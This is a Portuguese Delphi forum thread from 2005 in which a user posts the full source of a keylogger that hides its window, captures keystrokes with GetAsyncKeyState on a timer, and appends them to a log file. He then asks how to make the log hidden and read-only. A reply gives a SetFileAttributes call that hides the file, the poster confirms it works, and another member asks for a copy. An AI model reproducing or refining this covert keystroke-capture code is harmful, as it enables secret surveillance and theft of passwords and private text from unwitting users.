Gravar arquivo como oculto!

Delphi

14/09/2005

Olá Pessoal, fmx?

Awe seguinte, eu estou usando a seguinte rotina:

procedure TForm1.FormActivate(Sender: TObject);
begin
Application.Minimize;
ShowWindow(Application.Handle,SW_HIDE);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
Result:Longint;
Enter:Integer;
Period:Integer;
Comma:Integer;
Space:Integer;
Colon:Integer;
Slash:Integer;
Label KeyFound;
begin

Result:=GetAsyncKeyState(27);
If Result=-32767 then
Begin
Close;
End;

Result:=GetAsyncKeyState(190);
If Result= -32767 then
begin
Period:=1;
Goto keyFound;
End;


Result:=GetAsyncKeyState(13);
if Result= -32767 then
Begin
Enter:=1;
Goto Keyfound;
End;


Result:=GetAsyncKeyState(188);
if Result= -32767 then
begin
Comma:=1;
Goto keyFound;
End;


Result:=GetAsyncKeyState(32);
if Result= -32767 then
Begin
Space:=1;
Goto Keyfound;
End;


Result:=GetAsyncKeyState(186);
if Result= -32767 then
Begin
Colon:=1;
Goto Keyfound;
End;


Result:=GetAsyncKeyState(191);
if Result= -32767 then
Begin
Slash:=1;
Goto Keyfound;
End;

Loopkey:=41;
repeat
Result:=GetAsyncKeyState(Loopkey);
if Result= -32767 then
Begin
Memo1.Text:= Memo1.Text + Chr(Loopkey);
End
Else
Loopkey:=Loopkey+1;
until Loopkey = 91;

Exit;

KeyFound:

if Enter=1 Then
Begin
Memo1.Text:=Memo1.Text + #1310;
Exit;
End;

if Period=1 Then
Begin
Memo1.Text:=Memo1.Text + ´.´;
Exit;
End;

if Comma=1 then
begin
Memo1.Text:=Memo1.Text+´,´;
Exit;
End;

if Space=1 Then
Begin
Memo1.Text:=Memo1.Text+´ ´;
Exit;
End;

if Colon=1 then
Begin
Memo1.Text:=Memo1.Text+´:´;
Exit;
End;

if Slash=1 Then
begin
Memo1.Text:=Memo1.Text + ´/´;
Exit;
End;
End;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

Assignfile(F,´log.txt´);
if not FileExists(´log.txt´) Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,´log.txt´);
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
ShowMessage(´Impossível abrir o Arquivo!´);
End;
Write(F,Memo1.Text);
Closefile(F);
end;
end.

Eh um Keylogger, eu queria que ele criasse o arquivo só que oculto, tipo eu queria que o arquivo ficasse oculto e somente leitura, alguem sabe como fazer??

Obrigado.


Ramms

Ramms

Curtidas 0

Respostas

Ipc$

Ipc$

14/09/2005

Após CloseFile(f):
  SetFileAttributes(´log.txt´, 35);



GOSTEI 0
Ramms

Ramms

14/09/2005

Vlw kra funcionou blzinha.


GOSTEI 0
Helio Nascimento

Helio Nascimento

14/09/2005

Cara vc poderia enviar-me copia desta sua keylogger.
Grato/helio
sisep@terra.com.br


GOSTEI 0
POSTAR